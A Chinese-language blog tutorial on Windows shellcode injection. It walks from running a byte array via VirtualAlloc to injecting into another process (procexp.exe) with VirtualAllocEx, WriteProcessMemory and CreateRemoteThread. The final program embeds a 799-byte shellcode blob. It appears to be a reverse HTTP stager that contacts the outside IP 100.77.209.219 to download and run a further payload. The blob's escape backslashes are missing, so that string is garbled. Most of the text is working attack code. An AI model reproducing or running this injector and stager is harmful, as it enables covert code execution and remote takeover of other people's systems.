shellcode注入原理

我们直接写入可能无法执行

unsigned char data[130] = {
	0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
	0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
	0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
	0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
	0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
	0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
	0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
	0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
	0x5D, 0xC3
};

typedef void(*PFN_FOO)();
int main()
{
	PFN_FOO f = (PFN_FOO)(void *)data;
	f();

无法执行

可以看到可读可写不可执行,修改保存就行了
因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区

VirtualAlloc

LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit
  SIZE_T dwSize,           // size of region
  DWORD flAllocationType,  // type of allocation
  DWORD flProtect          // type of access protection);

这里来申请一块

LPVOID lpAddr = VirtualAlloc(
			NULL,	//表示任意地址,随机分配
			1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
			MEM_COMMIT,	//告诉操作系统给分配一块内存
			PAGE_EXECUTE_READWRITE
		);

	if (lpAddr == NULL){
		printf("Alloc error!");
		return 0;
	}

可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉

memcpy(lpAddr, data, sizeof(data));

typedef void(*PFN_FOO)();
PFN_FOO f = (PFN_FOO)(void*)lpAddr;
f();

VirtualFree(lpAddr,1,MEM_DECOMMIT);

完整代码

unsigned char data[130] = {
	0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,
	0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,
	0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,
	0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,
	0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,
	0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
	0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,
	0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,
	0x5D, 0xC3
};


int main()
{
	LPVOID lpAddr = VirtualAlloc(
			NULL,	//表示任意地址,随机分配
			1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
			MEM_COMMIT,	//告诉操作系统给分配一块内存
			PAGE_EXECUTE_READWRITE
		);

	if (lpAddr == NULL){
		printf("Alloc error!");
		return 0;
	}
	//到这里表示能够成功分配内存
	memcpy(lpAddr, data, sizeof(data));

	typedef void(*PFN_FOO)();
	PFN_FOO f = (PFN_FOO)(void*)lpAddr;
	f();

	VirtualFree(lpAddr,1,MEM_DECOMMIT);

	return 0;

这里我们本地写个messagebox,可以看到helloworld是再常量区地址为0C65858h,但是函数的引用地址却在0C6916Ch,他们之间是有强烈的依赖关系,所以我们如果直接把代码抽出来是无法利用的

所以如果上面我们想要执行成功就要处理掉相关依赖,比如相关函数的地址,字符串地址 自己重定位了,shellcode:一段与地址无关的代码,只要把它放在任意32位程序中只要给他一个起点就能执行
所以我们要先开辟空间然后再写入,然是可以看到VirtualAlloc写了谁调用在谁哪里开辟空间

所以我们就用加强版VirtualAllocEx,它可以在指定进程去开辟
VirtualAllocEx

LPVOID VirtualAllocEx(  HANDLE hProcess,          // process to allocate memory
  LPVOID lpAddress,         // desired starting address 
  SIZE_T dwSize,            // size of region to allocate
  DWORD flAllocationType,   // type of allocation
  DWORD flProtect           // type of access protection);

代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的

//获取快照
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pe32;
	DWORD pid = 0;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	//查看第一个进程
	BOOL bRet = Process32First(hSnap, &pe32);

	while (bRet)
	{
		bRet = Process32Next(hSnap, &pe32);
		if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
			pid = pe32.th32ProcessID;
			break;
		}
	}
	//获取进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

就是昨天的代码,然后再来开辟一个空间

	//1.在目标进程开辟空间
	LPVOID lpAddr = VirtualAllocEx(
		hProcess,	//在目标进程中开辟空间
		NULL,	//表示任意地址,随机分配
		1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
		MEM_COMMIT,	//告诉操作系统给分配一块内存
		PAGE_EXECUTE_READWRITE
		);

	if (lpAddr == NULL){
		printf("Alloc error!");
		return 0;
	}

然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
WriteProcessMemory

BOOL WriteProcessMemory(
  HANDLE hProcess,                // handle to process
  LPVOID lpBaseAddress,           // base of memory area
  LPCVOID lpBuffer,               // data buffer
  SIZE_T nSize,                   // count of bytes to write
  SIZE_T * lpNumberOfBytesWritten // count of bytes written);

这里我们就写入进去

	//2.在目标进程中写入代码
	bRet = WriteProcessMemory(
		hProcess,	//目标进程
		lpAddr,	//目标地址	目标进程中
		data,	//源数据	当前进程中
		sizeof(data),	//写多大
		&dwWritesBytes //成功写入的字节数
		);
	if (!bRet){
		VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
		return 0;
	}

写进去了还要调用才能执行,创建远程线程
CreateRemoteThread

HANDLE CreateRemoteThread(
  HANDLE hProcess,                          // handle to process
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  SIZE_T dwStackSize,                       // initial stack size
  LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
  LPVOID lpParameter,                       // thread argument
  DWORD dwCreationFlags,                    // creation option
  LPDWORD lpThreadId                        // thread identifier);

返回目标进程的线程

//3.向目标程序调用一个线程 创建远程线程  执行写入代码
	HANDLE hRemoteThread = CreateRemoteThread(hProcess,	//目标进程
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)lpAddr,	//目标进程的回调函数
		NULL,	//回调参数
		0,
		NULL
		);

这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
完成代码为

// shellcode.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>

/* length: 799 bytes */
unsigned char data[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xaex08x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx58x66x39x65x00xc8x03xfex93x1ax5ex52x6dx5ax5dx0dx22x3cx47x8ex31x2dx7bxeexa8xc3x22x6bx24xb5x43x4dx44x35x96x5cx48xd7xedx39xccxeexbfxdex49x49x3fx83x58xe9x48x1ex33xc7x49x50x48xd4x97xc7x14xf4x34x36x15x89x74x00x00xb2x0axd7x63x86xdcx5ex9bx74x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4cx42x42x52x4fx57x53x45x52x29x0dx0ax00x0bx81xc7x34x3dxa6xb5x8fx9axebx20x23xc5xb5xe6x9dx11x47x8exc0x15xd9x15xc4x57x55x1axd1xc7xcdxfcxa6xefxfexe0x02xfcxaax9ex73xf7x3cxa0xd8xefxaex42x73x79x7ax50xe2x04x6axb3x1cx8exd4xfax11x0fx4dxe7x16xfex22x29xa9x81x5bx45xf0xc6x90x97x49xf6x85xa3xf8xc8xf7x7dxccxabx89x33x13x1ax76x30x03x10x7fx3ex67xe6x59xf9xbdx84x70x6ex2ax3ax1fx88x51xa8x26x89x0ex1bxbaxefxafxe8xc5x59xbfx4dxe5x47xadxefxc8x32x31xe8xb5x9dxf9xd6xeaxf5x64xd6xf3xf6xb5xa0xc9x94xf0xbcxe5x5ex51xeex31x14xc7x94xf2x79x56x10xc5x56x04x85xa9x0ax36x7cx2dx4ax06xe2xcfx29x25x68xc7x9bx90xf6x8fx6ax9bxdaxf7x2fx96x58x9cx44x15xf5xbfxe8x4dx82x31xcdx5fx39x6axdfxd7xc3xb5x9cx21x23x85xbfx00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x30x2ex37x37x2ex32x30x39x2ex32x31x39x00x6fxaax51xc3";


typedef void(*PFN_FOO)();

int main()
{
	//获取快照
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pe32;
	DWORD pid = 0;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	//查看第一个进程
	BOOL bRet = Process32First(hSnap, &pe32);

	while (bRet)
	{
		bRet = Process32Next(hSnap, &pe32);
		if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
			pid = pe32.th32ProcessID;
			break;
		}
	}
	//获取进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);


	//1.在目标进程开辟空间
	LPVOID lpAddr = VirtualAllocEx(
		hProcess,	//在目标进程中开辟空间
		NULL,	//表示任意地址,随机分配
		1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
		MEM_COMMIT,	//告诉操作系统给分配一块内存
		PAGE_EXECUTE_READWRITE
		);

	if (lpAddr == NULL){
		printf("Alloc error!");
		return 0;
	}

	DWORD dwWritesBytes = 0;

	//2.在目标进程中写入代码
	bRet = WriteProcessMemory(
		hProcess,	//目标进程
		lpAddr,	//目标地址	目标进程中
		data,	//源数据	当前进程中
		sizeof(data),	//写多大
		&dwWritesBytes //成功写入的字节数
		);
	if (!bRet){
		VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
		return 0;
	}

	//3.向目标程序调用一个线程 创建远程线程 执行写入代码
	HANDLE hRemoteThread = CreateRemoteThread(hProcess,	//目标进程
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)lpAddr,	//目标进程的回调函数
		NULL,	//回调参数
		0,
		NULL
		);


	return 0;
}

原文地址:https://www.cnblogs.com/yicunyiye/p/13696373.html